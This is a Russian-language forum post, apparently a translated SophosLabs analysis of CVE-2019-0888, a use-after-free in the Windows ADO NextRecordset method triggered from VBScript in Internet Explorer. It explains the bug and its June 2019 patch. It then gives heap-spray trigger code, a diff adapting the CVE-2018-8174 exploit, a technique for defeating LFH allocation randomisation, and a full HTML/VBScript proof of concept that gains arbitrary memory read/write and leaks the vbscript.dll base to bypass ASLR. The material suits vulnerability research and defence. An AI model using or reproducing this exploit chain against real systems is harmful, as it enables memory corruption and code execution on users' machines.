Пожалуйста, обратите внимание, что пользователь заблокирован
Исследовательская группа SophosLabs Offensive Security обнаружила уязвимость в компоненте данных ActiveX (ADO) Windows. Microsoft решила эту проблему в выпуске Patch Tuesday в июне 2019 года . Прошел месяц с момента выхода патча, поэтому мы решили опубликовать следующее объяснение ошибки и способы ее использования для обхода ASLR и примитива чтения / записи.
В статье приведены ссылки на символы и типы из 32-разрядного файла vbscript.dll версии 5.812.10240.16384 из Windows 10.
Вступление
ADO - это API для доступа к данным и управления ими через поставщика базы данных OLE. В следующих примерах поставщик OLE DB является сервером Microsoft SQL. Разные программы, использующие разные языки, могут использовать этот API.
В рамках этой статьи мы будем использовать ADO из кода VBScript, работающего в Internet Explorer, и подключаться к экземпляру Microsoft SQL Server 2014 Express, работающему локально.
Вот пример базового сценария VBScript, который устанавливает соединение с локальной базой данных (называется SQLEXPRESS ) с помощью объекта ADO Recordset :
Код:
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
If Err.Number <> 0 Then
MsgBox("DB open error")
Else
MsgBox("DB opened")
End If
Установка соединения с помощью ADO из Internet Explorer вызывает это предупреждение о безопасности, что делает эту ошибку неудобной для ненавязчивого использования.
Баг
Метод объекта
Recordset - NextRecordset неправильно обрабатывает свой параметр RecordsActed .Когда приложение вызывает этот метод с переменной типа Object, переданной ему в качестве параметра
RecordsActed , метод оставит счетчик ссылок этого объекта уменьшенным на 1, сохраняя при этом ссылку на переменную.Когда счетчик ссылок падает до 0, операционная система уничтожает объект и освобождает его память. Однако, поскольку на объект все еще можно ссылаться по имени его переменной, дальнейшее использование этой переменной вызовет условие Use-After-Free.
Вот важные сведения о функциональности
NextRecordset из его документации :○ Используйте метод NextRecordset, чтобы вернуть результаты следующей команды в составном операторе команды или хранимой процедуры, которая возвращает несколько результатов.
○ Метод NextRecordset недоступен для отключенного объекта Recordset.
○ Параметры: RecordsActed
Необязательный. Переменная Long, в которую поставщик возвращает количество записей, на которые повлияла текущая операция.
Проще говоря, метод работает с подключенным объектом Recordset, извлекает и возвращает какие-либо данные, относящиеся к базе данных, и записывает число обратно в предоставленный параметр.
Метод реализован в библиотеке
msado15.dll с функцией CRecordset :: NextRecordset . Вот как NextRecordset определяется в COM-интерфейсе библиотеки :
Если метод успешно извлекает данные, связанные с базой данных, он вызывает внутреннюю функцию
ProcessRecordsActed, чтобы обработать присвоение количества затронутых записей параметру RecordsActed .Внутри
ProcessRecordsAffected, библиотека создает локальную переменную, называемую local_copy_of_RecordsAffected, неглубокие ксерокопии параметр RecordsAffected в него, а затем вызывает функцию VariantClear:
VariantClear описан здесь .« Функция очищает VARIANTARG, устанавливая в поле vt значение VT_EMPTY. »
« Текущее содержание VARIANTARG выходит первым. […] Если в поле vt указано VT_DISPATCH, объект освобождается ».
Переменные объекта VBScript - это, по сути, обернутые объекты ActiveX, реализованные в C ++. Они создаются функцией CreateObject , например, переменной
RS в приведенном выше примере кода .Объекты VBScript представляются внутри как Вариантные структуры типа VT_DISPATCH. Таким образом, в этом случае вызов
VariantClear будет установлен local_copy_of_RecordsAffected в VT_EMPTY, и выполнит „освобождение“ на него, то есть он будет ссылаться на лежащую в его основе C ++ объекта :: Release метод, который уменьшает значение счетчика ссылок объекта на 1 ( и уничтожает объект, если счетчик ссылок достигает 0).После вызова
VariantClear функция продолжается следующим образом:
Эта функция преобразует 64-разрядную целочисленную переменную
RecordsActedNum в 32-разрядное целое число со знаком (обозначаемое здесь как тип VT_I4 ) и передает это значение в VariantChangeType в попытке преобразовать его в вариант типа RecordsActed_vt , то есть VT_DISPATCH. в уязвимом сценарии.Не существует логики для преобразования типа VT_I4 в тип VT_DISPATCH, поэтому здесь
VariantChangeType всегда будет терпеть неудачу, и будет возвращать return(early return path will take place). Так как RecordsActed определяется вместе с выходом атрибут в объявлении интерфейса COM , способ, которым ProcessRecordsActed обрабатывает RecordsActed, будет влиять на программу:« Атрибут [ out ] указывает, что параметр, который действует как указатель, и связанные с ним данные в памяти должен быть передан из вызываемой процедуры в вызывающую процедуру. «
Проще говоря,
RecordsActed передается обратно в программу после возврата NextRecordset , либо в своем исходном состоянии, либо в любое другое состояние, в которое он был изменен ProcessRecordsActed . Оглядываясь назад на путь выполнения, которому подвергается функция в уязвимом сценарии, мы видим, что она достигает оператора return, не изменяя непосредственно RecordsActed .VariantClear вызывается для копии RecordsActed , поэтому он запускает создание базового объекта C ++ копии и изменяет тип копии на VT_EMPTY.Поскольку копирование было выполнено поверхностно , и
RecordsActed и его копия содержат один и тот же указатель на базовый объект C ++; Выпуск одной из переменных эквивалентен выпуску второй. Однако изменение типа копии на VT_EMPTY не повлияет на RecordsActed - его тип останется без изменений.Поскольку тип
RecordsActed не был очищен, он будет передан обратно в программу и останется ссылочным, несмотря на то, что его базовый объект C ++ был освобожден и, возможно, освобожден.Учитывая, как ошибка, по-видимому, вызывается при каждом вызове метода, как ему удается завершить допустимый вызов без сбоев?
Оглядываясь на документацию, она указывает, что
RecordsActed должен иметь тип Long (вариант типа VT_I4). VariantClear не оказывает такого же разрушительного воздействия на варианты VT_I4, как на варианты VT_DISPATCH (освобождая свой объект). Следовательно, до тех пор, пока вызовы метода используют RecordsActed, который соответствует предполагаемому типу, у программы не будет отрицательных “побочных эффектов”.Фикс ошибки
Эта ошибка была исправлена в выпуске Microsoft Patch Tuesday , выпущенном в июне 2019 года , и была названа CVE-2019-0888 .
Функция
ProcessRecordsAffected была исправлена , чтобы опустить локальную переменную local_copy_of_RecordsAffected, а работает она непосредственно на RecordsAffected, правильно преобразуя его тип и предотвращая его передачи обратно в программу.
«Глупая» эксплуатация
Простейшим способом достижения некоторого типа примитива эксплойта с этой ошибкой было бы заставить объект быть освобожденным, а затем немедленно “распылить” кучу с выделением памяти для контролируемых данных того же размера, что и освобожденный объект, чтобы используемая память, которую хранил объект теперь содержал наши собственные произвольные данные.
Код:
On Error Resume Next
Set RS = CreateObject("ADOR.Recordset")
Set freed_object = CreateObject("ADOR.Recordset")
' Open Recordset connection to database
RS.Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
' Connection objects to be used for heap spray later
Dim array(1000)
For i = 0 To 1000
Set array(i) = CreateObject("ADODB.Connection")
Next
' Data to spray in heap: allocation size will be 0x418
' (size of CRecordset in 32-bit msado15.dll)
spray = ChrW(&h4141) & ChrW(&h4141) & _
ChrW(&h4141) & ChrW(&h4141) & _
Space(519)
' Trigger bug
Set Var1 = RS.NextRecordset(freed_object)
' Perform heap spray
For i = 0 To 1000
array(i).ConnectionString = spray
Next
' Trigger use after free
freed_object.Clone()
В строке 4 создается новый объект VBScript
freed_object с базовым объектом C ++ типа CRecordset , размером 0x418 байт.Строка 27 уменьшает количество ссылок на базовый объект C ++ объект
freed_object до 0 и это должно вызывать освобождение его внутренних ресурсов.Строка 31 использует свойство
ConnectionString класса ADODB.Connection для “распыления” кучи. Когда строка назначается в ConnectionString, она создает локальную копию, выделяет кусок памяти того же размера, что и назначенная строка, и копирует в нее свое содержимое. Строка spray разработана с целью привести к выделению 0x418 байт.Строка 35 разыменов
freed_object . На этом этапе любая ссылка на эту переменную вызовет динамическую диспетчеризацию базового объекта C ++, что означает, что указатель на его виртуальную таблицу будет разыменован, и указатель на функцию будет загружен из этой памяти. Поскольку указатель виртуальной таблицы расположен по смещению 0 объекта C ++, значение, которое будет загружено, а затем вызовет исключение нарушения доступа к памяти в первых 4 байтах spray, 0x41414141.Чтобы сделать этот примитив полезным для реальной эксплуатации, нам нужно полагаться на знание читаемого, управляемого адреса памяти в адресном пространстве программы - умение, которое ASLR делает невозможным. Нужно использовать лучший подход, чтобы победить такие меры по снижению риска, как ASLR, чтобы использовать эту ошибку в современных системах.
Продвинутая эксплуатация
Проводя поиск существующих исследований методов эксплуатации для подобных ошибок VBScript, которые могут быть здесь полезны , мы натолкнулись на CVE-2018-8174 . Названный «Double Kill» эксплойтом, он был обнаружен охранной компанией Qihoo 360 около мая 2018 года. Было написано множество статей о рассылке захваченного эксплойта и лежащей в основе ошибки, поэтому для получения дополнительной информации мы обратимся сюда:
[1] Analysis of CVE-2018-8174 VBScript 0day, 360 Qihoo
[2] Delving deep into VBScript: Analysis of CVE-2018-8174 exploitation, Kaspersky Lab
[3] Dissecting modern browser exploit: case study of CVE-2018–8174, piotrflorczyk
CVE-2018-8174 - это ошибка использования после освобождения в VBScript, связанная с обработкой функции обратного вызова Class_Terminate . По сути, это дало возможность произвольно освобождать объект VBScript, но сохранять его ссылочным, подобно свойствам ошибки ADO.
Захваченный эксплойт реализовал сложную технику, которая использует атаку типа «путаница», чтобы превратить возможность использования после освобождения в обход ASLR и примитива «чтение-запись-везде». Сам метод сам по себе бесполезен (без ошибки для его включения) и технически не является ошибкой, поэтому он никогда не был «исправлен» и остается в базе кода. Техника, вероятно, лучше всего объясняется в статье Петра Флорчика .
Учитывая сходство между двумя ошибками, должна быть возможность взять закомментированный код эксплойта для CVE-2018-8174 из записи Florczyk , заменить части кода, специфичные для ошибок, чтобы использовать ошибку ADO, и заставить ее успешно работать так же путь. И действительно, применяя этот простой патч ...
Код:
diff --git a/analysis_base.vbs b/analysis_modified.vbs
index 6c1cd3f..fd25809 100644
--- a/analysis_base.vbs
+++ b/analysis_modified.vbs
@@ -1,3 +1,14 @@
+Dim RS(13)
+For i = 0 to UBound(RS)
+ Set RS(i) = CreateObject("ADOR.Recordset")
+ RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
+ "Provider=SQLOLEDB;" & _
+ "Data Source=.\SQLEXPRESS;" & _
+ "Initial Catalog=master;" & _
+ "Integrated Security=SSPI;" & _
+ "Trusted_Connection=True;"
+Next
+
Dim FreedObjectArray
Dim UafArrayA(6),UafArrayB(6)
Dim UafCounter
@@ -101,7 +112,8 @@ Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
- UafArrayA(idx)=0
+ On Error Resume Next
+ Set m = RS(idx).NextRecordset(resueObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
@@ -116,7 +128,8 @@ Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For idx=0 To 6
- UafArrayB(idx)=0
+ On Error Resume Next
+ Set m = RS(7+idx).NextRecordset(resueObjectB_int)
Next
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
@@ -136,19 +149,7 @@ Sub UafTrigger
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateA
- Erase FreedObjectArray
- Next
Set resueObjectA_arr=New ReuseClass
- UafCounter=0
- For idx=0 To 6
- ReDim FreedObjectArray(1)
- Set FreedObjectArray(1)=New ClassTerminateB
- Erase FreedObjectArray
- Next
Set resueObjectB_int=New ReuseClass
End Sub
… Создается рабочий эксплойт для ошибки ADO.
Оказывается, этот эксплойт работает на системах под управлением Windows 7, но не на Windows 8 или более поздних версиях. Это относится и к первоначальному захваченному эксплойту. Эксплойт ломается из-за «рандомизации порядка размещения с низкой кучей кучи (LFH)», меры безопасности для кучи, представленной в Windows 8, которая нарушает простые сценарии использования «после освобождения» .
Обход рандомизации порядка распределения LFH
Вот один пример того, как поведение кучи изменилось после того, как Microsoft ввела рандомизацию порядка размещения LFH:
Введение рандомизации порядка распределения изменило результат выполнения malloc-> free-> malloc с логики LIFO (Last In First Out) на недетерминированность.
Почему это ломает все? Рассмотрим следующую выдержку из закомментированного кода эксплойта:
Код:
Class ReplacingClass_Array
Public Default Property Get Q
...
For idx=0 To 6
On Error Resume Next
Set m = RS(idx).NextRecordset(reuseObjectA_arr)
Next
Set objectImitatingArray=New FakeReuseClass
...
В VBScript все объекты пользовательских классов представлены классом C ++
VBScriptClass . VBScript вызывает функцию VBScriptClass :: Create, когда выполняет оператор создания экземпляра пользовательского объекта класса (например, строка 8). Она делает выделение размером 0x44 байта для хранения объекта VBScriptClass .Когда элемент управления достигает строки 8, цикл For только что завершил уничтожение
reuseObjectA_arr , который является экземпляром пользовательского класса ReuseClass . Это вызовет деструктор VBScriptClass , освобождая 0x44 байта, которые были ранее выделены. Далее в строке 8 создается новый объект objectImitatingArray другого пользовательского класса: FakeReuseClass .Основой для успешного запуска атаки типа «путаница» является предположение, что
objectImitatingArray будут назначены те же ресурсы кучи памяти, что и только что освобожденный reuseObjectA_arr .Однако, как отмечалось ранее, при включенной рандомизации порядка распределения вы не можете сделать это предположение; рандомизированная куча ломает эксплойт.В результате атаки типа «путаница» происходит повреждение памяти. Распределение кучи, где происходит повреждение, - это не выделение самого верхнего уровня (0x44) самого
VBScriptClass , а некое привязанное выделение размером 0x108 байт, привязанное к нему, используемое для хранения методов и переменных объекта. Функция, ответственная за это перераспределение - NameList :: FCreateVval и вызывается вскоре после создания VBScriptClass (см. Статью [2] ).Чтобы быть более точным в отношении условия, которое должно выполняться, путаница типов будет работать, если после уничтожения
reuseObjectA_arr новый объект VBScript получит тот же адрес для своего распределения 0x108, что и ранее сохраненный объект reuseObjectA_arr . Другие распределения, привязанные к двум объектам, включая распределение верхнего уровня размером 0x44, не обязательно должны получать совпадающие адреса.Специфика этого метода не очень проста для понимания повреждения памяти, поэтому рекомендуется прочитать справочную статью Касперского, чтобы лучше понять ее, но в этом суть.
Метод
ReuseClass «s, SetProp, имеет следующее заявление: Mem = Value - это переменная объекта, поэтому перед ее назначением должен быть вызван метод получения свойства по умолчанию .Движок VBScript (vbscript.dll) вызывает внутреннюю функцию
AssignVar для выполнения такого назначения. Это упрощенный псевдокод, объясняющий, как он работает:
Код:
AssignVar(VARIANT *destinationObject, char *destinationVariableName, VARIANT *source) {
// here, destinationObject is a ReuseClass instance, destinationVariableName is "mem", source is <Value>
// get the address of object <destinationObject>'s member variable with the name <destinationVariableName>.
VARIANT *destinationPointer = CScriptRuntime::GetVarAdr(destinationObject, destinationVariableName);
// if the given source is an object, call the object's
// default property getter to get the actual source value
if (source->vt == VT_IDISPATCH) {
VARIANT *sourceValue = VAR::InvokeByDispID(source);
}
// perform the assignment
*destinationPointer = *sourceValue;
}
Функция
VAR :: InvokeByDispID вызывает метод получения свойства исходного объекта по умолчанию, что позволяет нам запускать произвольный код VBScript во время выполнения AssignVar . Если мы используем это пространство для запуска уничтожения и замены в памяти destinationObject (используя ошибку), мы можем воспользоваться AssignVar, продолжая выполнять присваивание в destinationPointer (строка 14), не осознавая, на какую память он ссылается.Адрес памяти, в который записывается, является значением, возвращаемым
CScriptRuntime :: GetVarAdr , который является указателем где-то внутри выделения данного объекта 0x108. Его точное смещение при распределении зависит от определения класса данного объекта - в частности, как долго называются его методы и поля.Определения
ReuseClass и FakeReuseClass организованы таким образом, чтобы принудительно установить другое смещение для общей переменной-члена mem . Делая это, мы заставляем последнее назначение повредить заголовок переменной объекта mem , чтобы превратить его в тип Array, базовый указатель которого равен NULL, а его длина равна 0x7fffffff.В эксплойте CVE-2018-8174 используется однократная попытка осуществить атаку типа «путаница», то есть после уничтожения
reuseObjectA_arr создается только один новый объект . Как мы объясняли ранее, это будет надежно работать только в системах Windows до Windows 8, в которых отсутствует функция рандомизации порядка размещения LFH.Чтобы заставить этот эксплойт работать в системах Windows 10, мы можем реализовать метод атаки типа «путаница». Вместо создания одного нового объекта мы можем массово создавать новые объекты, чтобы гарантировать, что освобожденное распределение 0x108 будет в конечном итоге назначено одному из них.
Вот как код может быть преобразован:
Код:
Set reuseObjectA_arr=New ReuseClass
...
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectA_arr)
Next
For i=0 to UBound(UafArrayA)
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For j=0 To 6
Set UafArrayA(i,j)=objectImitatingArray
Next
Next
End Property
End Class
Вот визуализация вышеуказанной логики кода в действии:
UafArrayA (38) получает такое же выделение 0x108 (Vval), что и reuseObjectA_arr
После того , как массив
UafArrayA был заполненнен новыми объектами FakeReuseClass и mem = value завершается, мы можем перебрать массив и найти объект, mem, где переменная была успешно повреждена стать массивом:
Код:
For i=0 To UBound(UafArrayA)
Err.Clear
a = UafArrayA(i,0).mem(Empty16BString_addr)
If Err.Number = 0 Then
Exit For
End If
Next
If i > UBound(UafArrayA) Then
MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
Set UafArrayA_obj = UafArrayA(i,0)
End If
Поврежденный объект будет единственным, который не вызовет исключения в строке 3. Как только мы находим его, на него можно ссылаться с любым индексом, позволяющим читать и записывать все адреса в области памяти процесса.
С этим исправлением к оригинальному эксплойту, теперь оно работает и в системах Windows 10.
PoC
HTML:
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>
<body>
<script language="vbscript">
' Create 20 Recordset objects and establish a DB connection to local server "SQLEXPRESS".
Dim RS(20)
Dim RS_i
RS_i = 0
For i = 0 to UBound(RS)
Set RS(i) = CreateObject("ADOR.Recordset")
RS(i).Open "SELECT * FROM INFORMATION_SCHEMA.COLUMNS", _
"Provider=SQLOLEDB;" & _
"Data Source=.\SQLEXPRESS;" & _
"Initial Catalog=master;" & _
"Integrated Security=SSPI;" & _
"Trusted_Connection=True;"
Next
Dim UafArrayA(2000,6),UafArrayB(2000,6),UafArrayA_obj
Dim objectArray(40)
Dim FakeArrayString,Empty16BString
Dim Empty16BString_addr
Dim reuseObjectA_arr,reuseObjectB_int
Dim objectOfClassWithPropA,objectOfClassWithPropB
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
Function GetUint32(addr)
Dim value
UafArrayA_obj.mem(Empty16BString_addr+8)=addr+4 ' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] so [addr]
UafArrayA_obj.mem(Empty16BString_addr)=8 ' set type to VT_BSTR
value=UafArrayA_obj.ReadBstrValll
UafArrayA_obj.mem(Empty16BString_addr)=2 ' set type to original VT_I2
GetUint32=value
End Function
Function GetWord(addr)
GetWord = GetUint32(addr) And &h0fff
End Function
Function GetByte(addr)
GetByte = GetUint32(addr) And &hff
End Function
Sub EmptySub
End Sub
' Perform a call to NextRecordset to remove the given object's reference count.
' Cycle through the previously created Recordset objects, because NextRecordset will not work for a second time on the same object.
Sub DecrementRefcount(obj)
On Error Resume Next
Set m = RS(RS_i).NextRecordset(obj)
RS_i = RS_i + 1
End Sub
Function ReadRawPointer
UafArrayA_obj.mem(Empty16BString_addr)=3 ' set var type to type vbLong
ReadRawPointer=UafArrayA_obj.mem(Empty16BString_addr+8) ' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
UafArrayA_obj.mem(Empty16BString_addr+8)=ref ' set data
End Sub
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
Function FindMzBase(addr)
Dim base
base= addr And &hffff0000
Do While GetUint32(base+104)<> &h206e6920 Or GetUint32(base+108) <> &h20534f44
base = base - &h10000
Loop
FindMzBase=base
End Function
Class EmptyClass
End Class
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(Empty16BString_addr+8))
End Function
Function Q
End Function
End Class
Class ReplacingClass_Array
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectA_arr)
Next
For i=0 to UBound(UafArrayA)
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For j=0 To 6
Set UafArrayA(i,j)=objectImitatingArray
Next
Next
End Property
End Class
Class ReplacingClass_Int
Public Default Property Get P
Dim objectImitatingInteger
P=CDbl("636598737289582e-328") ' db 0, 0, 0, 0, 3, 0, 0, 0
For i=0 To 6
DecrementRefcount(reuseObjectB_int)
Next
For i=0 to UBound(UafArrayB)
Set objectImitatingInteger=New FakeReuseClass
objectImitatingInteger.mem=Empty16BString
For j=0 To 6
Set UafArrayB(i,j)=objectImitatingInteger
Next
Next
End Property
End Class
Set objectOfClassWithPropA=New ReplacingClass_Array
Set objectOfClassWithPropB=New ReplacingClass_Int
Sub UafTrigger
For idx=0 To 17
Set objectArray(idx)=New EmptyClass
Next
For idx=20 To 38
Set objectArray(idx)=New ReuseClass
Next
Set reuseObjectA_arr=New ReuseClass
Set reuseObjectB_int=New ReuseClass
End Sub
Sub TypeConfusion
On Error Resume Next
reuseObjectB_int.SetProp(objectOfClassWithPropB)
vt = VarType(reuseObjectB_int.mem)
If vt = 3 Then
MsgBox("Got Empty16BString_addr from reuseObjectB_int")
Empty16BString_addr = reuseObjectB_int.mem
Else
For i=0 To UBound(UafArrayB)
vt = VarType(UafArrayB(i,0).mem)
If vt = 3 Then
Exit For
End If
Next
If i > UBound(UafArrayB) Then
MsgBox("Could not find an object corrupted by reuseObjectB_int")
Else
MsgBox("Got Empty16BString_addr from UafArrayB(" & i & ")")
Empty16BString_addr = UafArrayB(i,0).mem
End If
End If
reuseObjectA_arr.SetProp(objectOfClassWithPropA)
Err.Clear
a = reuseObjectA_arr.mem(Empty16BString_addr)
If Err.Number = 0 Then
MsgBox("Got UafArrayA_obj from reuseObjectA_arr")
Set UafArrayA_obj = reuseObjectA_arr
Else
For i=0 To UBound(UafArrayA)
Err.Clear
a = UafArrayA(i,0).mem(Empty16BString_addr)
If Err.Number = 0 Then
Exit For
End If
Next
If i > UBound(UafArrayA) Then
MsgBox("Could not find an object corrupted by reuseObjectA_arr")
Else
MsgBox("Got UafArrayA_obj from UafArrayA(" & i & ")")
Set UafArrayA_obj = UafArrayA(i,0)
End If
End If
End Sub
Sub StartExploit
UafTrigger
TypeConfusion
ptr_toCScriptEntryPointVTble=LeakVBAddr()
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
MsgBox("vbscript.dll base: 0x" & Hex(vbscript))
End Sub
StartExploit
</script>
</body>
</html>
Последнее редактирование модератором: